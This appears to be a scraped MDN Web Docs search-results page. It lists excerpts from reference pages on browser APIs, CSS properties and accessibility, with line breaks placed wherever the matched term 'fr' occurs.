reading the html contents of an element reading innerhtml causes the user agent to serialize the html or xml
fragment comprised of the element's descendants.
... note: the returned html or xml
fragment is generated based on the current contents of the element, so the markup and formatting of the returned
fragment is likely not to match the original page markup.
...doing so causes the user agent to follow these steps: the specified value is parsed as html or xml (based on the document type), resulting in a document
fragment object representing the new set of dom nodes for the new elements.
...And 3 more matches
FileReader - Web APIs
file objects may be obtained
from a filelist object returned as a result of a user selecting files using the <input> element,
from a drag and drop operation's datatransfer object, or
from the mozgetasfile() api on an htmlcanvaselement.
... important note: filereader is used to read file content
from the user's (remote) system in secure ways only.
... it cannot be used to simply read a file by pathname
from a file system.
...And 3 more matches
HTMLAudioElement - Web APIs
it's based on, and inherits properties and methods
from, the htmlmediaelement interface.
... properties no specific properties; inherits properties
from its parent, htmlmediaelement, and
from htmlelement.
... methods inherits methods
from its parent, htmlmediaelement, and
from htmlelement.
...And 3 more matches
HTMLBaseElement - Web APIs
target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlbaseelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... htmlbaseelement.target is a domstring that reflects the target html attribute, containing a default target browsing context or
frame for elements that do not have a target reference specified.
... methods no specific method; inherits attributes
from its parent, htmlelement.
...And 3 more matches
HTMLImageElement - Web APIs
properties inherits properties
from its parent, htmlelement.
... htmlimageelement.currentsrc read only returns a usvstring representing the url
from which the currently displayed image was loaded.
...this is different
from a client-side image map, specified using an <img> element and a corresponding <map> which contains <area> elements indicating the clickable areas in the image.
...And 3 more matches
IndexedDB API - Web APIs
if you'd prefer a simple api, try libraries such as localforage, dexie.js, zangodb, pouchdb, idb, idb-keyval, jsstore and lovefield that make indexeddb more programmer-
friendly.
... learn to use indexeddb asynchronously
from first principles with our using indexeddb guide.
...the synchronous api was intended for use only with web workers but was removed
from the spec because it was unclear whether it was needed.
...And 3 more matches
Intersection Observer API - Web APIs
as the user scrolls the page, these intersection detection routines are firing constantly during the scroll handling code, resulting in an experience that leaves the user
frustrated with the browser, the web site, and their computer.
...this way, sites no longer need to do anything on the main thread to watch for this kind of element intersection, and the browser is
free to optimize the management of intersections as it sees fit.
...this lets you determine whether the entry represents a transition
from the elements intersecting to no longer intersecting or a transition
from not intersecting to intersecting.
...And 3 more matches
KeyboardEvent: code values - Web APIs
"" 0xe05b "metaleft" "osleft" 0xe05c "metaright" "osright" 0xe05d "contextmenu" "contextmenu" 0xe05e "power" "" 0xe05f ~ 0xe064 "unidentified" "" 0xe065 "browsersearch" "browsersearch" 0xe066 "browserfavorites" "browserfavorites" 0xe067 "browserre
fresh" "browserre
fresh" 0xe068 "browserstop" "browserstop" 0xe069 "browserforward" "browserforward" 0xe06a "browserback" "browserback" 0xe06b "launchapp1" "" 0xe06c "launchmail" "" 0xe06d "launchmediaplayer" ("mediaselect" prior to firefox 49) "" 0xe06e ~ 0xe0f0 "unidentified" "" ...
... 0xe0f1 (hanja key with korean keyboard layout) "lang2" "" 0xe0f2 (han/yeong key with korean keyboard layout) "lang1" "" code values on mac on mac os x, it's hard to get scancode or something which can distinguish a physical key
from a key event.
... therefore, gecko always maps code value
from the virtual keycode.
...And 3 more matches
MediaDevices.getDisplayMedia() - Web APIs
return value a promise that resolves to a mediastream containing a video track whose contents come
from a user-selected screen area, as well as an optional audio track.
... invalidstateerror the call to getdisplaymedia() was not made
from code running due to a user action, such as an event handler.
... another potential cause for this event: the document in whose context getdisplaymedia() was called is not fully active; for example, perhaps it is not the
frontmost tab.
...And 3 more matches
MediaStreamTrackAudioSourceNode - Web APIs
the mediastreamtrackaudiosourcenode interface is a type of audionode which represents a source of audio data taken
from a specific mediastreamtrack obtained through the webrtc or media capture and streams apis.
... the audio itself might be input
from a microphone or other audio sampling device, or might be received through a rtcpeerconnection, among other posible options.
... methods inherits methods
from its parent, audionode.
...And 3 more matches
MessagePort - Web APIs
the messageport interface of the channel messaging api represents one of the two ports of a messagechannel, allowing messages to be sent
from one port and listening out for them arriving at the other.
... methods inherits methods
from its parent, eventtarget postmessage() sends a message
from the port, and optionally, transfers ownership of objects to other browsing contexts.
... event handlers inherits event handlers
from its parent, eventtarget onmessage an eventlistener called when messageevent of type message is fired on the port—that is, when the port receives a message.
...And 3 more matches
Microdata DOM API - Web APIs
nowadays, they have been abandoned and removed
from all browsers and are therefore deprecated.
... code example this sample gets the first item of type "http://example.net/user" and then pops up an alert using the "name" property
from that item.
...= document.createelement('ul'); for (var name = 0; name < items[item].properties.names.length; name += 1) { var propli = document.createelement('li'); propli.appendchild(document.createtextnode(items[item].properties.names[name])); inner.appendchild(propli); } itemli.appendchild(inner); outer.appendchild(itemli); } document.body.appendchild(outer); if faced with the following
from an earlier example: <section itemscope itemtype="http://example.org/animals#cat"> <h1 itemprop="name http://example.com/fn">hedral</h1> <p itemprop="desc">hedral is a male american domestic shorthair, with a fluffy <span itemprop="http://example.com/color">black</span> fur with <span itemprop="http://example.com/color">white</span> paws and belly.</p> <img itemprop="img" src="hedral.jpeg" alt=...
...And 3 more matches
MouseEvent - Web APIs
mouseevent derives
from uievent, which in turn derives
from event.
... working draft redefines mouseevent
from long to double.
... candidate recommendation
from document object model (dom) level 3 events specification, added movementx and movementy properties.
...And 3 more matches
Online and offline events - Web APIs
some browsers implement online/offline events
from the whatwg web applications 1.0 specification.
... firefox 2 updates this property when switching to/
from the browser's offline mode.
...additionally, the events bubble up
from document.body, to document, ending at window.
...And 3 more matches
Node.appendChild() - Web APIs
if the given child is a reference to an existing node in the document, appendchild() moves it
from its current position to the new position (there is no requirement to remove the node
from its parent node before appending it to some other node).
... if the given child is a document
fragment, the entire contents of the document
fragment are moved into the child list of the specified parent node.
... return value the returned value is the appended child (achild), except when achild is a document
fragment, in which case the empty document
fragment is returned.
...And 3 more matches
Using the Notifications API - Web APIs
firefox is already doing this
from version 72, for example, and safari has done it for some time.
...https), and you can no longer allow notification permissions to be requested
from cross-origin <i
frame>s.
... getting permission if permission to display notifications hasn't been granted yet, the application needs to use the notification.requestpermission() method to request this
from the user.
...And 3 more matches
Push API - Web APIs
the push api gives web applications the ability to receive messages pushed to them
from a server, whether or not the web app is in the foreground, or even currently loaded, on a user agent.
...firefox allows a limited number (quota) of push messages to be sent to an application, although push messages that generate notifications are exempt
from this limit.
... the limit is re
freshed each time the site is visited.
...And 3 more matches
RTCRtpStreamStats - Web APIs
their primary purpose is to examine the error resiliency of the connection, as they provide information about lost packets, lost
frames, and how heavily compressed the data is.
...a fir packet is sent by the receiving end of the stream when it falls behind or has lost packets and is unable to continue decoding the stream; the sending end of the stream receives the fir packet and responds by sending a full
frame instead of a delta
frame, thereby letting the receiver "catch up." the higher this number is, the more often a problem of this nature arose, which can be a sign of network congestion or an overburdened receiving device.
... plicount the number of times the receiving end of the stream sent a picture loss indiciation (pli) packet to the sender, indicating that it has lost some amount of encoded video data for one or more
frames.
...And 3 more matches
RelativeOrientationSensor - Web APIs
properties no specific properties; inherits methods
from its ancestors orientationsensor and sensor.
... event handlers no specific event handlers; inherits methods
from its ancestor, sensor.
... methods no specific methods; inherits methods
from its ancestors orientationsensor and sensor.
...And 3 more matches
Screen Wake Lock API - Web APIs
the screen wake lock api provides a way to prevent devices
from dimming or locking the screen when an application needs to keep running.
... the screen wake lock api prevents the screen
from turning off, dimming or locking.
... screen wake lock api interfaces wakelock the wakelock interface prevents device screens
from dimming or locking when an application needs to keep running.
...And 3 more matches
TextEncoder.prototype.encodeInto() - Web APIs
return value a textencoderencodeintoresult dictionary, which contains two members: read the number of utf-16 units of code
from the source that has been converted over to utf-8.
...if not, reallocate the target buffer to written + (s.length - read) * 3 and then convert the rest by taking a substring of s starting
from index read and a subbuffer of the target buffer starting
from index written.
... if your wasm program uses c strings, it's your responsibility to write the 0x00 sentinel and you can't prevent your wasm program
from seeing a logically truncated string if the javascript string contained u+0000.
...And 3 more matches
TouchEvent - Web APIs
properties this interface inherits properties
from its parent, uievent and event.
... touchend sent when the user removes a touch point
from the surface (that is, when they lift a finger or stylus
from the surface).
... the touch point (or points) that were removed
from the surface can be found in the touchlist specified by the changedtouches attribute.
...And 3 more matches
USBIsochronousInTransferResult - Web APIs
the usbisochronousintransferresult interface of the webusb api provides the result
from a call to the isochronoustransferin() method of the usbdevice interface.
... it represents the result
from requesting a transfer of data
from the usb device to the usb host.
... properties usbisochronousintransferresult.dataread only returns a dataview object containing the data received
from the device.
...And 3 more matches
Using the User Timing API - Web APIs
this document shows how to create mark and measure performance entry types and how to use user timing methods (which are extensions of the performance interface) to retrieve and remove entries
from the browser's performance timeline.
..." + entries[i].name, 0); } } removing performance marks the performance.clearmarks() method is used to remove one or more marks
from the browser's performance timeline.
...however, if no argument is given, then all performance entries of type "mark" will be removed
from the performance timeline.
...And 3 more matches
WEBGL_draw_buffers - Web APIs
the webgl_draw_buffers extension is part of the webgl api and enables a
fragment shader to write to several textures, which is useful for deferred shading, for example.
... constants this extension exposes new constants, which can be used in the gl.
framebufferrenderbuffer(), gl.
framebuffertexture2d(), gl.get
framebufferattachmentparameter() ext.drawbufferswebgl(), and gl.getparameter() methods.
... ext.max_color_attachments_webgl a glint indicating the maximum number of
framebuffer color attachment points.
...And 3 more matches
WebGL2RenderingContext.drawBuffers() - Web APIs
the webgl2renderingcontext.drawbuffers() method of the webgl 2 api defines draw buffers to which
fragment colors are written into.
... the draw buffer settings are part of the state of the currently bound
framebuffer or the drawingbuffer if no
framebuffer is bound.
... syntax void gl.drawbuffers(buffers); parameters buffers an array of glenum specifying the buffers into which
fragment colors will be written.
...And 3 more matches
Matrix math for the web - Web APIs
the function
from above can be re-used to help out in this process: //matrixb • matrixa function multiplymatrices(matrixa, matrixb) { // slice the second matrix up into rows let row0 = [matrixb[ 0], matrixb[ 1], matrixb[ 2], matrixb[ 3]]; let row1 = [matrixb[ 4], matrixb[ 5], matrixb[ 6], matrixb[ 7]]; let row2 = [matrixb[ 8], matrixb[ 9], matrixb[10], matrixb[11]]; let row3 = [matrixb[12], matrixb[...
... // create the matrix3d style property
from a matrix array function matrixarraytocssmatrix(array) { return 'matrix3d(' + array.join(',') + ')'; } // grab the dom element let moveme = document.getelementbyid('move-me'); // returns a result like: "matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 50, 100, 0, 1);" let matrix3drule = matrixarraytocssmatrix(translationmatrix); // set the transform moveme.style.transform = matrix3drule; vie...
...while this section won't break the steps down into exhaustive detail (check out this article on wol
fram mathworld for that), take this example for illustration.
...And 3 more matches
Creating 3D objects using WebGL - Web APIs
to do this efficiently, we're going to switch
from drawing using the vertices directly by calling the gl.drawarrays() method to using the vertex array as a table, and referencing individual vertices in that table to define the positions of each face's vertices, by calling gl.drawelements().
...our sample loads a copy
from a cdn in our html's <head>.
...this is pretty much the same as it was for the square plane, but somewhat longer since there are 24 vertices (4 per side): const positions = [ //
front face -1.0, -1.0, 1.0, 1.0, -1.0, 1.0, 1.0, 1.0, 1.0, -1.0, 1.0, 1.0, // back face -1.0, -1.0, -1.0, -1.0, 1.0, -1.0, 1.0, 1.0, -1.0, 1.0, -1.0, -1.0, // top face -1.0, 1.0, -1.0, -1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, -1.0, // bottom face -1.0, -1.0, -1.0, 1.0, -1.0, -1.0, 1.0, -1.0, 1.0, -1.0, -1.0, 1.0, // right face 1.0, -1.0, -1.0, 1.0, 1.0, -1.0, 1.0, 1.0, 1.0, 1.0, -1.0, 1.0, // left face -1.0, -1.0, -1.0, ...
...And 3 more matches
Using shaders to apply color in WebGL - Web APIs
our sample loads a copy
from a cdn in our html's <head>.
...between this and the
fragment shader assigning the fixed color of white to each pixel, the entire square was rendered as solid white.
... to use these colors, the vertex shader needs to be updated to pull the appropriate color
from the color buffer: const vssource = ` attribute vec4 avertexposition; attribute vec4 avertexcolor; uniform mat4 umodelviewmatrix; uniform mat4 uprojectionmatrix; varying lowp vec4 vcolor; void main(void) { gl_position = uprojectionmatrix * umodelviewmatrix * avertexposition; vcolor = avertexcolor; } `; the key difference here is that for each ver...
...And 3 more matches
Web Video Text Tracks Format (WebVTT) - Web APIs
example 6 - common comment usage webvtt - translation of that film i like note this translation was done by kyle so that some
friends can watch it with their parents.
...it can be used to reference the cue
from a script.
... example 8 - cue identifier
from example 7 1 - title crawl example 9 - common usage of identifiers webvtt 1 00:00:22.230 --> 00:00:24.606 this is the first subtitle.
...And 3 more matches
Web Audio API best practices - Web APIs
when working with files, you are looking at either the grabbing the file
from an htmlmediaelement (i.e.
... if you're looking to work with audio
from the user's camera or microphone you can access it via the media stream api and the mediastreamaudiosourcenode interface.
... r-audio,
from the bbc's research & development department, is a library of react components aiming to provide a "more intuitive, declarative interface to web audio".
...And 3 more matches
Using the Web Speech API - Web APIs
var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); we add our grammar to the list using the speechgrammarlist.add
fromstring() method.
... this accepts as parameters the string we want to add, plus optionally a weight value that specifies the importance of this grammar in relation of other grammars available in the list (can be
from 0 to 1 inclusive.) the added grammar is available in the list as a speechgrammar object instance.
... speechrecognitionlist.add
fromstring(grammar, 1); we then add the speechgrammarlist to the speech recognition instance by setting it to the value of the speechrecognition.grammars property.
...And 3 more matches
Functions and classes available to Web Workers - Web APIs
in addition to the standard javascript set of functions (such as string, array, object, json, etc), there are a variety of functions available
from the dom to workers.
... workers run in another global context, dedicatedworkerglobalscope, different
from the current window.
...nknown no postmessage() yes, on dedicatedworkerglobalscope no no unknown no apis available in workers function functionality support in gecko (firefox) support in ie support in blink (chrome and opera) support in webkit (safari) broadcast channel api allows simple communication between browsing contexts (that is windows, tabs,
frames, or i
frames) with the same origin (usually pages
from the same site).
...And 3 more matches
Window.openDialog() - Web APIs
these parameters may be used, then, to pass arguments to and
from the dialog window.
... to access these extra parameters
from within dialog code, use the following scheme: var food = window.arguments[0]; var price = window.arguments[1]; note that you can access this property
from within anywhere in the dialog code.
... returning values
from the dialog since window.close() erases all properties associated with the dialog window (i.e.
...And 3 more matches
Window.prompt() - Web APIs
the following text is shared between this article, dom:window.confirm and dom:window.alert dialog boxes are modal windows; they prevent the user
from accessing the rest of the program's interface until the dialog box is closed.
... living standard browser compatibility the compatibility table in this page is generated
from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpromptchrome full support 1notes full support 1notes notes starting with chrome 46, this method is blocked inside an <i
frame> unless its sandbox attribute has the value allow-modals.edge full support 12firefox full support 1ie full support 4notes full support 4notes notes this function has no effect in the modern ui/metro version of inter...
...And 3 more matches
Worker.prototype.postMessage() - Web APIs
if the ownership of an object is transferred, it becomes unusable (neutered) in the context it was sent
from and becomes available only to the worker it was sent to.
... transfer example this example shows a firefox add-on that transfers an arraybuffer
from the main thread to the chromeworker, and then the chromeworker transfers it back to the main thread.
... main thread code: var myworker = new chromeworker(self.path + 'myworker.js'); function handlemessage
fromworker(msg) { console.log('incoming message
from worker, msg:', msg); switch (msg.data.atopic) { case 'do_sendmainarrbuff': sendmainarrbuff(msg.data.abuf) break; default: throw 'no atopic on incoming message to chromeworker'; } } myworker.addeventlistener('message', handlemessage
fromworker); // ok lets create the buffer and send it var arrbuf = new arraybuffer(8); console.info('arrbuf.bytelength pre transfer:', arrbuf.bytelength); myworker.postmessage( { atopic: 'do_sendworkerarrbuff', abuf: arrbuf // the array buffer that we passed to the transferrable section 3 lines below }, [ arrb...
...And 3 more matches
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
notes: this code requires elevated privileges to run; you can only call it
from a browser extension or
from a xulrunner application.
... // adapted
from the patch for moztcpsocket error reporting (bug 861196).
... const {cc,ci} = require("chrome"); function createtcperror
fromfailedxhr(xhr) { let status = xhr.channel.queryinterface(ci.nsirequest).status; let errtype; if ((status & 0xff0000) === 0x5a0000) { // security module const nsinsserrorsservice = ci.nsinsserrorsservice; let nsserrorsservice = cc['@mozilla.org/nss_errors_service;1'].getservice(nsinsserrorsservice); let errorclass; // geterrorclass will throw a generic ns_error_failure if the error code is // somehow not in the set of covered errors.
...And 3 more matches
Sending and Receiving Binary Data - Web APIs
receiving binary data using javascript typed arrays the responsetype property of the xmlhttprequest object can be set to change the expected response type
from the server.
... this example reads an image as a binary file and creates an 8-bit unsigned integer array
from the raw bytes.
...}; oreq.send(); receiving binary data in older browsers the load_binary_resource() function shown below loads binary data
from the specified url, returning it to the caller.
...And 3 more matches
XMLHttpRequest - Web APIs
you can retrieve data
from a url without having to do a full page re
fresh.
... if your communication needs to involve receiving event data or message data
from a server, consider using server-sent events through the eventsource interface.
...please use server-sent events, web sockets, or responsetext
from progress events instead.
...And 3 more matches
XRInputSourceEvent - Web APIs
properties
frame read only an xr
frame object providing the needed information about the event
frame during which the event occurred.
... this
frame may have been rendered in the past rather than being a current
frame.
... because this is an event
frame, not an animation
frame, you cannot call the xr
frame method getviewerpose() on it; instead, use getpose().
...And 3 more matches
XRPose.emulatedPosition - Web APIs
the emulatedposition read-only attribute of the xrpose interface is a boolean value indicating whether or not both the the position component of the pose's transform is directly taken
from the xr device, or it's simulated or computed based on other sources.
... syntax let emulated = xrpose.emulatedposition; value a boolean which is true if the pose's position is computed based on estimates or is derived
from sources other than direct sensor data.
...a basic xr headset provides three degrees of
freedom (3dof), tracking the pitch, yaw, and roll of the user's head.
...And 3 more matches
XRReferenceSpace - Web APIs
see the article using bounded reference spaces to protect the viewer for more on using boundaries to keep the user
from colliding with obstacles both physical and virtual.
... properties in addition to the properties inherited
from xrspace (of which there are none at this time), xrreferencespace also inherits the properties of eventtarget.
... methods in addition to the methods inherited
from its parent interface, xrspace (there are none at this time), xrreferencespace inherits methods
from eventtarget.
...And 3 more matches
XRRigidTransform() - Web APIs
return value a new xrrigidtransform object which has been initialized to represent a transform matrix that would adjust the position and orientation of an object
from the origin to the specified position and facing in the direction indicated by orientation.
... examples in this example, the beginning of the animation of a scene is shown, starting with a request for a reference space of a given type, then shifting the coordinate system based on a transform before requesting the first animation
frame.
... let animation
framerequestid = 0; xrsession.requestreferencespace("local-floor") .then((refspace) => { xrreferencespace = refspace.getoffsetreferencespace( new xrrigidtransform(viewerposition, viewerorientation)); animation
framerequestid = xrsession.requestanimation
frame(draw
frame); }); after requesting a reference space of type local-floor, the returned promise is eventually resolved, at which time we receive a new reference space object, refspace.
...And 3 more matches
XRViewerPose.views - Web APIs
the read-only xrviewerpose property views returns an array which contains every xrview which must be rendered in order to fully represent the scene
from the viewpoint defined by the viewer pose.
...for each
frame, you should always use the current length of this array rather than caching the value.
... examples in this example—part of the code to render an xr
frame, getviewerpose() is called to get an xrviewerpose using the same reference space the code is using as its base reference space.
...And 3 more matches
HTML To MSAA - Accessibility
for example, if name column has n/a value then it means specific elements doesn't provide own rules to calculate name but name can be computed
from aria markup or @title attribute.
...ole_system_ link n/a value of @href attribute state_system_ selectable if @name attribute is presented state_system_ linked if @href attribute is presented or click event listener is registered state_system_ traversed if link is traversed n/a "jump" if @href is valid n/a br role_system_ whitespace '\n' (new line char) state_system_ readonly n/a n/a n/a button role_system_ pushbutton
from child nodes n/a state_system_ focusable state_system_ default if @type attribute has value "submit" n/a "press" n/a caption bstr role n/a n/a n/a description_for (0x100f), points to table element div bstr role n/a n/a n/a n/a n/a n/a fieldset role_system_ grouping text equivalent
from child legend element n/a n/a labelled_by (1003), points to legend element n/a n/a hr ro...
...le_system_ separator n/a n/a n/a n/a n/a n/a img, input @type=image role_system_ graphic
from @alt attribute, empty @alt attribute means name can't be calculated at all n/a state_system_ animated if image has more than one
frame n/a "showlongdesc" if @longdesc attribute is presented n/a if @usemap attribute is used then image accessible has children for each map item input @type=button, submit, reset role_system_ pushbutton
from @value attribute, @alt attribute, default label, @src attribute, @data attribute n/a state_system_ default if @type attribute has value "submit" n/a "press" n/a input @type=text, textarea role_system_ text n/a value property of input dom element state_system_ readonly if @readonly attribute is used n/a "activate" n/a input @type=password role_system_ t...
...And 3 more matches
Keyboard-navigable JavaScript widgets - Accessibility
grouping controls for grouping widgets such as menus, tablists, grids, or tree views, the parent element should be in the tab order (tabindex="0"), and each descendent choice/tab/cell/row should be removed
from the tab order (tabindex="-1").
... <li id="mb1_menu3" tabindex="-1"> justification <ul id="justificationmenu" title="justication" tabindex="-1"> <li id="left" tabindex="-1">left</li> <li id="center" tabindex="-1">centered</li> <li id="right" tabindex="-1">right</li> <li id="justify" tabindex="-1">justify</li> </ul> </li> </ul> disabled controls when a custom control becomes disabled, remove it
from the tab order by setting tabindex="-1".
... managing focus inside groups when a user tabs away
from a widget and returns, focus should return to the specific element that had focus, for example, the tree item or grid cell.
...And 3 more matches
:checked - CSS: Cascading Style Sheets
note: because browsers often treat <option>s as replaced elements, the extent to which they can be styled with the :checked pseudo-class varies
from browser to browser.
... syntax :checked examples basic example html <div> <input type="radio" name="my-input" id="yes"> <label for="yes">yes</label> <input type="radio" name="my-input" id="no"> <label for="no">no</label> </div> <div> <input type="checkbox" name="my-checkbox" id="opt-in"> <label for="opt-in">check me!</label> </div> <select name="my-select" id="
fruit"> <option value="opt1">apples</option> <option value="opt2">grapes</option> <option value="opt3">pears</option> </select> css div, select { margin: 8px; } /* labels for checked inputs */ input:checked + label { color: red; } /* radio element, when checked */ input[type="radio"]:checked { box-shadow: 0 0 0 3px orange; } /* checkbox element, when checked */ input[type="checkbox"]:checked { box-shadow: 0 0 0 3px h...
... note: for an analogous effect, but based on the :hover pseudo-class and without hidden radioboxes, see this demo, taken
from the :hover reference page.
...And 3 more matches
Box alignment in CSS Grid Layout - CSS: Cascading Style Sheets
center stretch baseline first baseline last baseline * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(8, 1
fr); grid-gap: 10px; grid-auto-rows: 100px; grid-template-areas: "a a a a b b b b" "a a a a b b b b" "c c c c d d d d" "c c c c d d d d"; align-items: start; } .item1 { grid-area: a; } .item2 { grid-area: b; } .item3 { grid-area: c; } .item4 { grid-area: d; } <div class="wrapper"> <div class="item1">item 1</div> <div class="item2">item 2</div> <div class="item...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(8, 1
fr); grid-gap: 10px; grid-auto-rows: 100px; grid-template-areas: "a a a a b b b b" "a a a a b b b b" "c c c c d d d d" "c c c c d d d d"; } .item1 { grid-area: a; } .item2 { grid-area: b; align-self: start; } .item3 { grid-area: c; align-self: end; } .item4 { grid-area: d; align-self: center; } <div class="wrapper"> <div class="item1">item 1</div> <div class...
...the values you can choose
from are the same as for align-self.
...And 3 more matches
Subgrid - CSS: Cascading Style Sheets
these grids however are independent of the parent grid and of each other, meaning that they do not take their track sizing
from the parent grid.
...line names can be passed
from the parent into the subgrid, and the subgrid can also declare its own line names.
... subgrid for columns in the example below i have a grid layout with nine 1
fr column tracks and four rows that are a minimum of 100px tall.
...And 3 more matches
Basic Shapes - CSS: Cascading Style Sheets
they range
from simple circles to complex polygons.
...you have already met the reference box in the guide on creating shapes
from box values, which directly uses the reference box to create the shape.
...the below css creates a rectangular shape inset
from the reference box of the floated element 20 pixels
from the top and bottom and 10 pixels
from the left and right, with a border-radius value of 10 pixels.
...And 3 more matches
Overview of CSS Shapes - CSS: Cascading Style Sheets
shapes
from the box value shapes can also be created around the box value, therefore you could create your shape on the: border-box padding-box content-box margin-box in the example below you can change the value border-box to any of the other allowed values to see how the shape moves closer or further away
from the box.
... to explore the box values in more detail see our guide covering shapes
from box values.
... shapes
from images an interesting way to generate your path is to use an image with an alpha channel — the text will then wrap around the non-transparent parts of the image.
...And 3 more matches
Using media queries - CSS: Cascading Style Sheets
monochrome bits per pixel in the output device's monochrome
frame buffer, or zero if the device isn't monochrome orientation orientation of the viewport overflow-block how does the output device handle content that overflows the viewport along the block axis?
... update how
frequently the output device can modify the appearance of content added in media queries level 4.
... only the only operator is used to apply a style only if an entire query matches, and is useful for preventing older browsers
from applying selected styles.
...And 3 more matches
animation-timing-function - CSS: Cascading Style Sheets
ction: steps(5, jump-both); animation-timing-function: steps(6, start); animation-timing-function: steps(8, end); /* multiple animations */ animation-timing-function: ease, step-start, cubic-bezier(0.1, 0.7, 1.0, 0.1); /* global values */ animation-timing-function: inherit; animation-timing-function: initial; animation-timing-function: unset; timing functions may be specified on individual key
frames in a @key
frames rule.
... if no animation-timing-function is specified on a key
frame, the corresponding value of animation-timing-function
from the element to which the animation is applied is used for that key
frame.
... a key
frame's timing function is applied on a property-by-property basis
from the key
frame on which it is specified until the next key
frame specifying that property, or until the end of the animation if there is no subsequent key
frame specifying that property.
...And 3 more matches
border-image-slice - CSS: Cascading Style Sheets
four slice lines, set a given distance
from their respective sides, control the size of the regions.
... when one position is specified, it creates all four slices at the same distance
from their respective sides.
... when two positions are specified, the first value creates slices measured
from the top and bottom, the second creates slices measured
from the left and right.
...And 3 more matches
box-direction - CSS: Cascading Style Sheets
the box-direction css property specifies whether a box lays out its contents normally (
from the top or left edge), or in reverse (
from the bottom or right edge).
... values normal the box lays out its contents
from the start (the left or top edge).
... reverse the box lays out its contents
from the end (the right or bottom edge).
...And 3 more matches
grid-template-columns - CSS: Cascading Style Sheets
syntax /* keyword value */ grid-template-columns: none; /* <track-list> values */ grid-template-columns: 100px 1
fr; grid-template-columns: [linename] 100px; grid-template-columns: [linename1] 100px [linename2 linename3]; grid-template-columns: minmax(100px, 1
fr); grid-template-columns: fit-content(40%); grid-template-columns: repeat(3, 200px); grid-template-columns: subgrid; /* <auto-track-list> values */ grid-template-columns: 200px repeat(auto-fill, 100px) 300px; grid-template-columns: minmax(100px, max-co...
... <flex> is a non-negative dimension with the unit
fr specifying the track’s flex factor.
... repeat( [ <positive-integer> | auto-fill | auto-fit ] , <track-list> ) represents a repeated
fragment of the track list, allowing a large number of columns that exhibit a recurring pattern to be written in a more compact form.
...And 3 more matches
grid-template-rows - CSS: Cascading Style Sheets
syntax /* keyword value */ grid-template-rows: none; /* <track-list> values */ grid-template-rows: 100px 1
fr; grid-template-rows: [linename] 100px; grid-template-rows: [linename1] 100px [linename2 linename3]; grid-template-rows: minmax(100px, 1
fr); grid-template-rows: fit-content(40%); grid-template-rows: repeat(3, 200px); grid-template-rows: subgrid; /* <auto-track-list> values */ grid-template-rows: 200px repeat(auto-fill, 100px) 300px; grid-template-rows: minmax(100px, max-content) ...
... <flex> is a non-negative dimension with the unit
fr specifying the track’s flex factor.
... repeat( [ <positive-integer> | auto-fill | auto-fit ] , <track-list> ) represents a repeated
fragment of the track list, allowing a large number of rows that exhibit a recurring pattern to be written in a more compact form.
...And 3 more matches
mask-border-slice - CSS: Cascading Style Sheets
when one position is specified, it creates all four slices at the same distance
from their respective sides.
... when two positions are specified, the first value creates slices measured
from the top and bottom, the second creates slices measured
from the left and right.
... when three positions are specified, the first value creates a slice measured
from the top, the second creates slices measured
from the left and right, the third creates a slice measured
from the bottom.
...And 3 more matches
overscroll-behavior - CSS: Cascading Style Sheets
/* keyword values */ overscroll-behavior: auto; /* default */ overscroll-behavior: contain; overscroll-behavior: none; /* two values */ overscroll-behavior: auto contain; /* global values */ overscroll-behavior: inherit; overscroll-behavior: initial; overscroll-behavior: unset; by default, mobile browsers tend to provide a "bounce" effect or even a page re
fresh when the top or bottom of a page (or other scroll area) is reached.
...you can use overscroll-behavior to get rid of unwanted scroll chaining and the browser's facebook/twitter app-inspired "pull to re
fresh"-type behavior.
... syntax the overscroll-behavior property is specified as one or two keywords chosen
from the list of values below.
...And 3 more matches
radial-gradient() - CSS: Cascading Style Sheets
the radial-gradient() css function creates an image consisting of a progressive transition between two or more colors that radiate
from an origin.
... closest-corner the gradient's ending shape is sized so that it exactly meets the closest corner of the box
from its center.
... farthest-side similar to closest-side, except the ending shape is sized to meet the side of the box farthest
from its center (or vertical and horizontal sides).
...And 3 more matches
repeating-radial-gradient() - CSS: Cascading Style Sheets
the repeating-radial-gradient() css function creates an image consisting of repeating gradients that radiate
from an origin.
... closest-corner the gradient's ending shape is sized so that it exactly meets the closest corner of the box
from its center.
... farthest-side similar to closest-side, except the ending shape is sized to meet the side of the box farthest
from its center (or vertical and horizontal sides).
...And 3 more matches
right - CSS: Cascading Style Sheets
for relatively positioned elements, the distance of the element
from its normal position is based on the left property; or if left is also auto, the element is not moved horizontally at all.
... inherit specifies that the value is the same as the computed value
from its parent element (which might not be its containing block).
... when position is set to relative, the right property specifies the distance the element's right edge is moved to the left
from its normal position.
...And 3 more matches
Setting up adaptive streaming media sources - Developer guides
this article explains how, looking at two of the most common formats: mpeg-dash and hls (http live streaming.) choosing formats in terms of adaptive streaming formats, there are many to choose
from; we decided to choose the following two as between them we can support most modern browsers.
... mpeg-dash encoding mpeg-dash is an adaptive bitrate streaming technique that enables streaming of media content over the internet delivered
from conventional http web servers.
... bandwidth="250000" width="480" height="360"> <baseurl>elephantsdream_h264bpl30_0250.264.dash</baseurl> </representation> <representation id="5" bandwidth="500000" width="480" height="360"> <baseurl>elephantsdream_h264bpl30_0500.264.dash</baseurl> </representation> </adaptationset> </period> </mpd> once you have generated your mpd file you can reference it
from within the video tag.
...And 3 more matches
DOM onevent handlers - Developer guides
